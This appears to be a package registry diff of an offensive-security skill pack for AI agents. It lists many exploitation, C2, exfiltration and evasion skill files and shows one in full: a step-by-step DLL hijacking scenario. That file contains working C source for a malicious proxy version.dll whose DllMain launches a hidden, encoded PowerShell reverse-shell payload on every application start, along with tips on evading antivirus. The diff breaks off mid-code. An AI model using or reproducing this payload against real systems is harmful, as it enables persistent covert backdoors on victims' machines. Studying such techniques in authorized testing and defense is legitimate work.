rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,522 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-d003
|
|
3
|
+
description: "D-003: DLL Hijacking → Persistent Backdoor Installation. Domain: desktop. Attack chain: Process Monitor filter for NAME NOT FOUND .dll → identify missing DLL in app directory → create malicious DLL with same name and exports → drop in app directory → DLL loads on next app start → persistent RCE. MITRE: T1574.001 → T1543. Real example: App looks for version.dll in app dir → malicious version.dll spawns reverse shell on each startup"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# D-003: DLL Hijacking → Persistent Backdoor Installation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**Attack Objective:** Achieve persistent code execution by placing a malicious DLL in a directory that a legitimate application searches before the system directory. The malicious DLL is loaded every time the target application starts, providing a reliable persistence mechanism that survives reboots.
|
|
11
|
+
|
|
12
|
+
**Required Access Level:** Low — write access to the application directory is sufficient. Many applications install to user-writable locations (e.g., `%APPDATA%`, `%LOCALAPPDATA%`, or poorly configured `Program Files` subdirectories).
|
|
13
|
+
|
|
14
|
+
**Estimated Time to Execute:** 30–90 minutes (discovery + DLL compilation + deployment)
|
|
15
|
+
|
|
16
|
+
**Detection Risk Level:** Low to Medium
|
|
17
|
+
- The technique blends into normal application startup behavior
|
|
18
|
+
- No new processes are spawned unless the DLL payload does so
|
|
19
|
+
- Antivirus may flag the DLL if the payload is known; use custom shellcode or staged loaders to reduce signature hits
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Prerequisites
|
|
24
|
+
|
|
25
|
+
### Required Tools
|
|
26
|
+
|
|
27
|
+
| Tool | Purpose | Install |
|
|
28
|
+
|------|---------|---------|
|
|
29
|
+
| Sysinternals Process Monitor (ProcMon) | Identify NAME NOT FOUND DLL loads | Download from https://learn.microsoft.com/en-us/sysinternals/downloads/procmon |
|
|
30
|
+
| Visual Studio / MinGW-w64 | Compile malicious DLL | `winget install --id Microsoft.VisualStudio.2022.BuildTools` or `winget install --id GnuWin.Make` + MinGW |
|
|
31
|
+
| msfvenom (optional) | Generate shellcode payload | Kali: pre-installed; Windows: `choco install metasploit` |
|
|
32
|
+
| Python 3 | Generate DLL export stubs | Pre-installed on most pentest VMs |
|
|
33
|
+
| pe-bear or CFF Explorer | Inspect target DLL exports | https://github.com/hasherezade/pe-bear |
|
|
34
|
+
|
|
35
|
+
### Required Access or Conditions
|
|
36
|
+
|
|
37
|
+
- Write permission to the target application's installation directory
|
|
38
|
+
- The target application must be running under an account that loads DLLs from a user-writable path before `System32`
|
|
39
|
+
- Application must not use DLL signing verification or Safe DLL Search Mode enforcement
|
|
40
|
+
- For elevated persistence: write access to a directory in the `PATH` that precedes `System32`
|
|
41
|
+
|
|
42
|
+
### Skill Level
|
|
43
|
+
|
|
44
|
+
**INTERMEDIATE** — requires ability to write and compile a C/C++ DLL, understand Windows DLL loading order, and generate or integrate a payload.
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Attack Chain
|
|
49
|
+
|
|
50
|
+
```
|
|
51
|
+
Process Monitor (NAME NOT FOUND filter)
|
|
52
|
+
│
|
|
53
|
+
▼
|
|
54
|
+
Identify target application loading missing DLL
|
|
55
|
+
│
|
|
56
|
+
▼
|
|
57
|
+
Confirm DLL search path — app dir writable?
|
|
58
|
+
│
|
|
59
|
+
▼
|
|
60
|
+
Enumerate exports of legitimate DLL (if found elsewhere)
|
|
61
|
+
│
|
|
62
|
+
▼
|
|
63
|
+
Author malicious DLL (forwarded exports + payload)
|
|
64
|
+
│
|
|
65
|
+
▼
|
|
66
|
+
Compile DLL with matching name
|
|
67
|
+
│
|
|
68
|
+
▼
|
|
69
|
+
Drop malicious DLL into app directory
|
|
70
|
+
│
|
|
71
|
+
▼
|
|
72
|
+
Trigger application restart (or wait for reboot)
|
|
73
|
+
│
|
|
74
|
+
▼
|
|
75
|
+
DLL loads → payload executes → persistent RCE
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
**MITRE ATT&CK:** T1574.001 (Hijack Execution Flow: DLL Search Order Hijacking) → T1543 (Create or Modify System Process — for persistence on service-backed apps)
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## Step-by-Step Execution
|
|
83
|
+
|
|
84
|
+
### Step 1 — Configure Process Monitor to Capture DLL Loads
|
|
85
|
+
|
|
86
|
+
1. Run ProcMon as Administrator (or as current user if targeting user-space apps).
|
|
87
|
+
2. Open **Filter** (Ctrl+L) and configure:
|
|
88
|
+
|
|
89
|
+
| Column | Relation | Value | Action |
|
|
90
|
+
|--------|---------|-------|--------|
|
|
91
|
+
| Result | is | NAME NOT FOUND | Include |
|
|
92
|
+
| Path | ends with | .dll | Include |
|
|
93
|
+
| Process Name | is | `<target_app>.exe` | Include |
|
|
94
|
+
|
|
95
|
+
3. Clear existing events (Ctrl+X), then launch the target application.
|
|
96
|
+
4. Let it fully initialize, then stop capture (Ctrl+E).
|
|
97
|
+
|
|
98
|
+
**Expected Output:**
|
|
99
|
+
```
|
|
100
|
+
Process Name | Path | Result
|
|
101
|
+
---------------|------------------------------------------|----------------
|
|
102
|
+
target_app.exe | C:\Program Files\TargetApp\version.dll | NAME NOT FOUND
|
|
103
|
+
target_app.exe | C:\Windows\System32\version.dll | SUCCESS
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
**Fallback:** If ProcMon is blocked, use API Monitor or attach a debugger (x64dbg) and set a breakpoint on `LoadLibraryW` / `LoadLibraryExW`.
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
### Step 2 — Identify the Hijackable DLL and Confirm Writability
|
|
111
|
+
|
|
112
|
+
From Step 1 output, note the first path that returned `NAME NOT FOUND`. If that path is inside the application directory, check write permissions:
|
|
113
|
+
|
|
114
|
+
```powershell
|
|
115
|
+
# Check ACL on the app directory
|
|
116
|
+
icacls "C:\Program Files\TargetApp"
|
|
117
|
+
|
|
118
|
+
# Confirm current user has write access
|
|
119
|
+
$acl = Get-Acl "C:\Program Files\TargetApp"
|
|
120
|
+
$acl.Access | Where-Object { $_.IdentityReference -match $env:USERNAME }
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
**Expected Output (vulnerable):**
|
|
124
|
+
```
|
|
125
|
+
C:\Program Files\TargetApp BUILTIN\Users:(W)
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
**Fallback:** If the directory is not writable, look further down the ProcMon results for a writable directory earlier in the search path (e.g., current working directory, `%APPDATA%`).
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
### Step 3 — Enumerate Exports of the Legitimate DLL
|
|
133
|
+
|
|
134
|
+
Identify what the legitimate DLL exports so the malicious one can forward them and prevent application crashes.
|
|
135
|
+
|
|
136
|
+
```powershell
|
|
137
|
+
# Using dumpbin (requires Visual Studio Build Tools)
|
|
138
|
+
dumpbin /exports C:\Windows\System32\version.dll
|
|
139
|
+
|
|
140
|
+
# Alternative: using Python + pefile
|
|
141
|
+
pip install pefile
|
|
142
|
+
python -c "
|
|
143
|
+
import pefile
|
|
144
|
+
pe = pefile.PE(r'C:\Windows\System32\version.dll')
|
|
145
|
+
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
|
|
146
|
+
print(exp.ordinal, exp.name.decode() if exp.name else '')
|
|
147
|
+
"
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
**Expected Output (version.dll exports):**
|
|
151
|
+
```
|
|
152
|
+
1 GetFileVersionInfoA
|
|
153
|
+
2 GetFileVersionInfoByHandle
|
|
154
|
+
3 GetFileVersionInfoExA
|
|
155
|
+
4 GetFileVersionInfoExW
|
|
156
|
+
5 GetFileVersionInfoSizeA
|
|
157
|
+
6 GetFileVersionInfoSizeExA
|
|
158
|
+
7 GetFileVersionInfoSizeExW
|
|
159
|
+
8 GetFileVersionInfoSizeW
|
|
160
|
+
9 GetFileVersionInfoW
|
|
161
|
+
10 VerFindFileA
|
|
162
|
+
11 VerFindFileW
|
|
163
|
+
12 VerInstallFileA
|
|
164
|
+
13 VerInstallFileW
|
|
165
|
+
14 VerLanguageNameA
|
|
166
|
+
15 VerLanguageNameW
|
|
167
|
+
16 VerQueryValueA
|
|
168
|
+
17 VerQueryValueW
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
### Step 4 — Author the Malicious DLL
|
|
174
|
+
|
|
175
|
+
Create a DLL that forwards all legitimate exports to the real DLL and executes payload in `DllMain`.
|
|
176
|
+
|
|
177
|
+
**File: `version.c`**
|
|
178
|
+
|
|
179
|
+
```c
|
|
180
|
+
/*
|
|
181
|
+
* Malicious version.dll — DLL Hijack Proxy
|
|
182
|
+
* Forwards all exports to the real version.dll in System32
|
|
183
|
+
* Executes payload once on DLL_PROCESS_ATTACH
|
|
184
|
+
*/
|
|
185
|
+
|
|
186
|
+
#include <windows.h>
|
|
187
|
+
#include <stdlib.h>
|
|
188
|
+
|
|
189
|
+
// Export forwarding pragmas — redirect all calls to the real DLL
|
|
190
|
+
#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
|
|
191
|
+
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
|
|
192
|
+
#pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
|
|
193
|
+
#pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
|
|
194
|
+
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
|
|
195
|
+
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
|
|
196
|
+
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
|
|
197
|
+
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
|
|
198
|
+
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
|
|
199
|
+
#pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
|
|
200
|
+
#pragma comment(linker, "/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
|
|
201
|
+
#pragma comment(linker, "/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
|
|
202
|
+
#pragma comment(linker, "/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
|
|
203
|
+
#pragma comment(linker, "/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
|
|
204
|
+
#pragma comment(linker, "/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
|
|
205
|
+
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
|
|
206
|
+
#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")
|
|
207
|
+
|
|
208
|
+
static BOOL payload_executed = FALSE;
|
|
209
|
+
|
|
210
|
+
void ExecutePayload(void) {
|
|
211
|
+
if (payload_executed) return;
|
|
212
|
+
payload_executed = TRUE;
|
|
213
|
+
|
|
214
|
+
/*
|
|
215
|
+
* PAYLOAD SECTION — replace with engagement-specific code
|
|
216
|
+
* Example: spawn a reverse shell via cmd.exe (noisy — for lab use)
|
|
217
|
+
* Replace with staged shellcode loader for real engagements
|
|
218
|
+
*/
|
|
219
|
+
STARTUPINFOA si = { sizeof(si) };
|
|
220
|
+
PROCESS_INFORMATION pi;
|
|
221
|
+
// Example: meterpreter reverse TCP — replace IP/port
|
|
222
|
+
char cmd[] = "cmd.exe /c powershell -nop -w hidden -enc "
|
|
223
|
+
"<BASE64_ENCODED_PAYLOAD_HERE>";
|
|
224
|
+
CreateProcessA(NULL, cmd, NULL, NULL, FALSE,
|
|
225
|
+
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
226
|
+
CloseHandle(pi.hProcess);
|
|
227
|
+
CloseHandle(pi.hThread);
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
|
|
231
|
+
switch (fdwReason) {
|
|
232
|
+
case DLL_PROCESS_ATTACH:
|
|
233
|
+
DisableThreadLibraryCalls(hinstDLL);
|
|
234
|
+
ExecutePayload();
|
|
235
|
+
break;
|
|
236
|
+
